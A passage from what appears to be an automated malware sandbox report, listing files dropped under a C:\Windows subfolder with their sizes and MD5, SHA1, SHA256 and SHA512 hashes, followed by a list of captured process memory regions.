1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\vtecbbeeu\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt

Filesize
810B

MD5
42cf887a444b618903d7a92f55fb2d00

SHA1
1ea9b90e921d9b9050229a1b3de2c32d0a3eb9c9

SHA256
4568ca499e69e2043e0db6d7449d8681b34ac05e4061a4fef1f0157040e524e0

SHA512
5fc5dfb682d37db87228ad420090dd9a2010aec68345b71d2bd518582ca6384c6f8251580b64b083e7d693d4079a871c68332e55778c3b41e8faf268de366c50

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt

Filesize
1KB

MD5
211d523e3b21a9b6fe96df40298d0a70

SHA1
b8f64e4e88f1a30175d9d50bf9fe70374278496c

SHA256
d996901b8b94e9f34f617b6d385eca4e22ac4e47a786c7e387b6eb1f86997d56

SHA512
889cc8accc1da448b22a5a1fb02a0dc396d3ed6870f4f658ac08c0f9ca652ab766e1de4207a166a6bea5956d052bfdfa43e1938631d7c8f7f71469773c431dc6

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt

Filesize
1KB

MD5
511f29ee371f37cb4e49ec645b7a4d71

SHA1
0c44c607a35b2ba35310bda2adfbcc12e041b533

SHA256
83fad2dc1cfe35968da372e8651f3588c6c30aa11014991310e23f8c2a4adc13

SHA512
96c428309c57581b0a101770d4dde72cd16ebd307768f186226376c62122030f3fec28110d029c4a1d06f800fdfbe3c75fd64996f111237a4f7c7ad739354f7e

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt

Filesize
2KB

MD5
a1d4b8546fc4935f43e22fc671f50afa

SHA1
98d1fed98ab4b863540043d04017aab909f74ab4

SHA256
56b1b95c8a3c11c5e8a97b2d712988145bff9908ec101e8383e7dce3813d6cc6

SHA512
73ed6fb722c792bbff76b3f49851134b15f5776a62559f95721a34e14050672a66fffeac85d77479d615d8868e3fe81d8ec2ee7abc88e23799fab5afccbfcbd6

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt

Filesize
3KB

MD5
ee4c83330779b8b576d24b23eb2fff4c

SHA1
e261bf895f999b7c9681cb27a417d4473171cfdd

SHA256
fb2711143fdfa6cd09960de54fff47f52b1266c14f7604031a2720ef77f3294e

SHA512
7a2ca87f6049044ce303c78983ea8e4646b3c00884f64351099d3de9a199a6671d963c76a2edd1d3fbe1f92d753aee2ec265e64eb28cb7c0b0cc1586f41ae8ca

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt

Filesize
3KB

MD5
88607e12073f0f00bac5f9e32eb697d5

SHA1
475e902c3e0a277080903362d8ed39310ca46191

SHA256
c8dee442a7760888d588b554b7052fdc8fdd74b75032ad0b5f9926156d4e4a32

SHA512
5176eef9b1077e97df1d4914a84313e082d2d1da527f0de5dfd07116c78a5a28bc94233e54bc8c91ca37fdcb91f676d113c663d961e3548c3ff590fd6512e127

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt

Filesize
3KB

MD5
365b7afc636de9a55748021a736e118a

SHA1
1e458673e692067629b5a90735f986d3383f1bd1

SHA256
74edaf4d79c50f079fc51004f166e0865e8d6a1f72d03441ea3ffaf57d95898b

SHA512
7e4b8c9fbc84a411db2f9a50c37cb955b79f388c0e6dc475ceeac0dea7d696159bdf859d7d1414fb53c12611348f77ffc99f91f64ef61a10c2af5893bbb77f80

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\Result.txt

Filesize
4KB

MD5
a9b73412236311be75f483206cce601e

SHA1
f3224414f109a3732260f0c190e8c39329c46358

SHA256
eb2ce8ebb1ab22bd258ec7f6b7632430ca5fdc398674e04c0977c931d9d847e8

SHA512
13457648856720fd290baae62f7b33194654e514cd0656e2189e00922d1537cb3ff2e6d2d525e4ce62cda577ec6f1270d3980206d3d2a96da539bdad5cfe55ae

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\enbltlpnr.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\vtecbbeeu\vltbqcbqt\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/556-148-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/556-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/688-210-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/752-171-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/1312-175-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/1504-197-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/1600-233-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/1772-8-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/2820-180-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/2904-78-0x0000000001330000-0x000000000137C000-memory.dmp

Filesize
304KB

Download
memory/2960-142-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/2960-160-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/3196-185-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/3264-228-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/3516-244-0x0000000000AC0000-0x0000000000AD2000-memory.dmp

Filesize
72KB

Download
memory/3740-193-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/3748-231-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/3768-189-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/4020-202-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/4024-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/4024-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/4028-215-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/4160-219-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/4220-136-0x00007FF617C80000-0x00007FF617D6E000-memory.dmp

Filesize
952KB

Download
memory/4220-138-0x00007FF617C80000-0x00007FF617D6E000-memory.dmp

Filesize
952KB

Download
memory/4824-206-0x00007FF705E80000-0x00007FF705EDB000-memory.dmp

Filesize
364KB

Download
memory/4896-245-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-234-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-221-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-165-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-168-0x00000240323E0000-0x00000240323F0000-memory.dmp

Filesize
64KB

Download
memory/4896-212-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-178-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-199-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-182-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-495-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-496-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-535-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-791-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download
memory/4896-792-0x00007FF704700000-0x00007FF704820000-memory.dmp

Filesize
1.1MB

Download